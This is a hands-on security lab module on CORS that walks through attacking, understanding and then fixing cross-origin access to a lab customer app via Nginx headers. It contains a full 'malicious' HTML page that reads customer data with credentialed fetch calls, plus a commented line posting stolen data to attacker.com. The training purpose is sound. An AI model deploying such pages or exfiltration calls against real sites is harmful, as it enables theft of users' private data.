Module 12 — CORS Security (Attack / Understand / Fix)
Objective
Demonstrate cross-origin request exploitation, understand how CORS (Cross-Origin Resource Sharing) works, then configure proper CORS headers in Nginx to block unauthorized origins.
By the end of this module you will have:
| Outcome | Detail |
|---|---|
| Exploited | Made cross-origin API requests from a "malicious" website |
| Understood | How browsers enforce the Same-Origin Policy and what CORS headers control |
| Fixed | Nginx configured with restrictive CORS headers |
| Verified | Cross-origin requests are blocked; the app works normally from its own origin |
Prerequisites
- Module 11 complete (firewall rules configured)
- App running and accessible via Nginx at http://192.168.56.13
- Tailscale Funnel configured with a public URL (from Module 07)
- SSH access to web-server:
ssh web-server - Python 3 installed on your Mac (for a simple HTTP server)
1. Introduction — Browsers as gatekeepers
All the attacks so far targeted the server side: SQL injection, network sniffing, brute force, direct database access. This module targets the client side — the browser.
Browsers enforce a security policy called the Same-Origin Policy (SOP). It prevents JavaScript on one website from reading responses from a different website. Without it, any website you visit could silently call your bank's API using your logged-in session.
CORS is the mechanism that allows servers to selectively relax the Same-Origin Policy. If a server sends the right CORS headers, it tells the browser: "This specific origin is allowed to read my responses."
The problem: if a server sends no CORS headers, or sends overly permissive ones, attackers may be able to steal data from users who visit a malicious page.
2. CTF Challenge
Challenge: Create an HTML file on your Mac that uses
fetch()to call the Customer Information App API from a different origin. Can you read customer data from your "malicious" website? You have 20 minutes.
Rules:
- Create an HTML file and serve it from
localhost:9999using Python - The API is at http://192.168.56.13
- You need a valid session cookie (login first via curl)
- Your goal: read customer data via JavaScript from your malicious page
If you get stuck, reveal the hints below one at a time:
Hint 1
Use fetch('http://192.168.56.13/api/customers') in a <script> tag.
Hint 2
Add credentials: 'include' to the fetch options to send cookies cross-origin.
Hint 3
Open the browser console (F12 → Console) to see CORS error messages or successful responses.
Once you have tried the challenge (or after 20 minutes), continue to the guided attack below.
3. Guided Attack — Cross-origin data theft
Step 1 — Get a valid session
First, login to the app in your browser by visiting http://192.168.56.13 and logging in with admin / admin123. This sets a session cookie in your browser.
Step 2 — Create a malicious HTML page
On your Mac, create the attacker's page:
mkdir -p /tmp/malicious-site
cat > /tmp/malicious-site/index.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<title>Totally Legit Website</title>
<style>
body { font-family: sans-serif; max-width: 800px; margin: 40px auto; padding: 0 20px; }
.stolen { background: #ffe0e0; border: 1px solid #ff0000; padding: 15px; margin: 10px 0; }
.status { background: #e0e0ff; padding: 10px; margin: 10px 0; }
pre { white-space: pre-wrap; }
</style>
</head>
<body>
<h1>Totally Legit Website</h1>
<p>This page is served from <code>localhost:9999</code>.</p>
<p>It is attempting to read customer data from <code>http://192.168.56.13</code> (a different origin).</p>
<div class="status" id="status">Attempting cross-origin request...</div>
<div id="results"></div>
<script>
const API = 'http://192.168.56.13';
const results = document.getElementById('results');
const status = document.getElementById('status');
// Attempt 1: Simple GET request
fetch(API + '/api/customers', {
credentials: 'include' // Send cookies cross-origin
})
.then(response => {
status.innerHTML = 'Response received! Status: ' + response.status;
return response.json();
})
.then(data => {
results.innerHTML = '<div class="stolen">' +
'<h3>STOLEN CUSTOMER DATA:</h3>' +
'<pre>' + JSON.stringify(data, null, 2) + '</pre>' +
'</div>';
// In a real attack, send the data to the attacker's server:
// fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) });
})
.catch(error => {
status.innerHTML = 'Request blocked!';
results.innerHTML = '<div class="status">' +
'<h3>Browser blocked the request:</h3>' +
'<pre>' + error + '</pre>' +
'<p>Open the browser console (F12) for details.</p>' +
'</div>';
});
// Attempt 2: Try to login cross-origin
fetch(API + '/api/login', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'admin', password: 'admin123' })
})
.then(r => r.text())
.then(data => {
results.innerHTML += '<div class="stolen">' +
'<h3>CROSS-ORIGIN LOGIN RESPONSE:</h3>' +
'<pre>' + data + '</pre>' +
'</div>';
})
.catch(error => {
results.innerHTML += '<div class="status">' +
'<h3>Login request blocked:</h3>' +
'<pre>' + error + '</pre>' +
'</div>';
});
</script>
</body>
</html>
EOF
Step 3 — Serve the malicious page
cd /tmp/malicious-site
python3 -m http.server 9999
Step 4 — Open the malicious page
Open your browser and navigate to http://localhost:9999.
Step 5 — Observe the behavior
Open the browser's developer tools (F12 → Console tab). You will see one of these outcomes:
If no CORS headers are set on the server (current state):
The browser sends the request, the server processes it and returns the data, but the browser blocks JavaScript from reading the response. You will see an error like:
Access to fetch at 'http://192.168.56.13/api/customers' from origin 'http://localhost:9999'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on
the requested resource.
Important: The request was still sent and processed by the server. The browser only blocks the response from reaching JavaScript. For GET requests this is mostly safe, but for POST requests that modify data, the damage is already done by the time the browser blocks the response.
Step 6 — The preflight gap
For "simple" requests (GET with standard headers), the browser sends the request directly. For "complex" requests (POST with Content-Type: application/json), the browser first sends an OPTIONS preflight request to check if the server allows it.
Without CORS headers, the preflight fails and the actual POST is never sent. But if someone adds permissive CORS headers (like Access-Control-Allow-Origin: *), all cross-origin requests — including data-modifying POSTs — would succeed.
4. Why This Matters
The attack scenario
- Attacker sends a phishing email to a user of the Customer Information App
- User clicks the link, opening
evil-site.comin their browser - The user is already logged into the Customer App (session cookie exists)
- JavaScript on
evil-site.comcalls the Customer App API with the user's cookies - If CORS allows it, the attacker's JavaScript reads the response containing customer data
- The stolen data is sent to the attacker's server
What CORS controls
| CORS Header | Controls |
|---|---|
Access-Control-Allow-Origin | Which origins can read responses |
Access-Control-Allow-Methods | Which HTTP methods are allowed cross-origin |
Access-Control-Allow-Headers | Which request headers are allowed cross-origin |
Access-Control-Allow-Credentials | Whether cookies are sent with cross-origin requests |
The danger of Access-Control-Allow-Origin: *
Setting the origin to * (wildcard) means any website can read your API responses. Never use * on an API that:
- Uses cookies or sessions for authentication
- Returns private or sensitive data
- Accepts data-modifying requests (POST, PUT, DELETE)
5. The Fix — Nginx CORS headers
Configure Nginx to return explicit CORS headers that only allow requests from your own domain.
Step 1 — Edit the Nginx configuration
ssh web-server
sudo nano /etc/nginx/sites-available/customerapp
Replace the entire file with:
server {
listen 80;
server_name _;
location / {
proxy_pass http://192.168.56.12:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# CORS headers — restrict to your Tailscale Funnel URL
# Replace YOUR-TUNNEL-DOMAIN with your actual Tailscale Funnel URL
set $cors_origin "https://YOUR-TUNNEL-DOMAIN";
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Allow-Credentials "true" always;
# Handle preflight requests
if ($request_method = OPTIONS) {
add_header Access-Control-Allow-Origin $cors_origin;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
add_header Access-Control-Allow-Credentials "true";
add_header Access-Control-Max-Age 86400;
return 204;
}
}
}
Replace YOUR-TUNNEL-DOMAIN with your actual Tailscale Funnel URL (e.g., web-server.tailnet-name.ts.net).
Step 2 — Test and reload Nginx
sudo nginx -t
sudo systemctl reload nginx
Step 3 — Verify the headers
curl -v http://192.168.56.13/health 2>&1 | grep -i "access-control"
Expected output:
< Access-Control-Allow-Origin: https://YOUR-TUNNEL-DOMAIN
< Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
< Access-Control-Allow-Headers: Content-Type, Authorization
< Access-Control-Allow-Credentials: true
Step 4 — Test preflight response
curl -v -X OPTIONS http://192.168.56.13/api/customers \
-H "Origin: https://evil-site.com" \
-H "Access-Control-Request-Method: POST" \
2>&1 | grep -i "access-control\|< HTTP"
Expected: The server returns 204 with CORS headers specifying only your domain — not evil-site.com.
6. Verify — Re-run the attack
Verify cross-origin requests are blocked
Make sure the Python server from step 3 is still running (python3 -m http.server 9999). If not, restart it.
Open http://localhost:9999 in your browser again. Open the developer console (F12).
Expected: The browser console shows:
Access to fetch at 'http://192.168.56.13/api/customers' from origin 'http://localhost:9999'
has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value
'https://YOUR-TUNNEL-DOMAIN' that is not equal to the supplied origin.
The server now explicitly declares which origin is allowed, and localhost:9999 is not it.
Verify the app works from its own origin
Open your Tailscale Funnel URL (https://YOUR-TUNNEL-DOMAIN) in the browser:
- Login works
- Customer CRUD operations work
- No CORS errors in the console
Verify from curl (curl ignores CORS)
curl -c cookies.txt -X POST http://192.168.56.13/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
curl -b cookies.txt http://192.168.56.13/api/customers
Expected: Both work. CORS is enforced by browsers, not by curl. This is expected behavior — CORS protects browser users from malicious websites, not the API from direct access. API authentication (session cookies, rate limiting) protects against direct access.
Clean up
Stop the Python server with Ctrl+C and remove the test files:
rm -rf /tmp/malicious-site
Troubleshooting
| Problem | Solution |
|---|---|
nginx -t fails | Check for syntax errors. Common issues: missing semicolons, unmatched braces, typos in header names. |
| CORS headers not appearing in response | Verify the Nginx config is in sites-enabled (symlinked). Run sudo nginx -t && sudo systemctl reload nginx. |
| App works from browser but CORS headers missing | Check the always parameter on add_header — without it, headers are only sent on success responses (2xx). |
| Preflight returns 405 instead of 204 | Make sure the if ($request_method = OPTIONS) block is present and returns 204. |
| Everything blocked including legitimate requests | Check that $cors_origin matches your actual Tailscale Funnel URL exactly (including https://). |
Summary
| What you did | What you learned |
|---|---|
| Created a malicious page on a different origin | Any website can attempt API calls using a visitor's cookies |
| Observed browser CORS enforcement | Browsers block cross-origin response reading by default |
| Understood preflight requests | Complex requests (POST with JSON) trigger OPTIONS checks first |
| Added explicit CORS headers in Nginx | The server declares exactly which origins are trusted |
| Verified cross-origin requests are blocked | Only the legitimate Tailscale Funnel URL can read API responses |
The one rule to remember: Never use Access-Control-Allow-Origin: * on authenticated APIs. Explicitly list the origins you trust.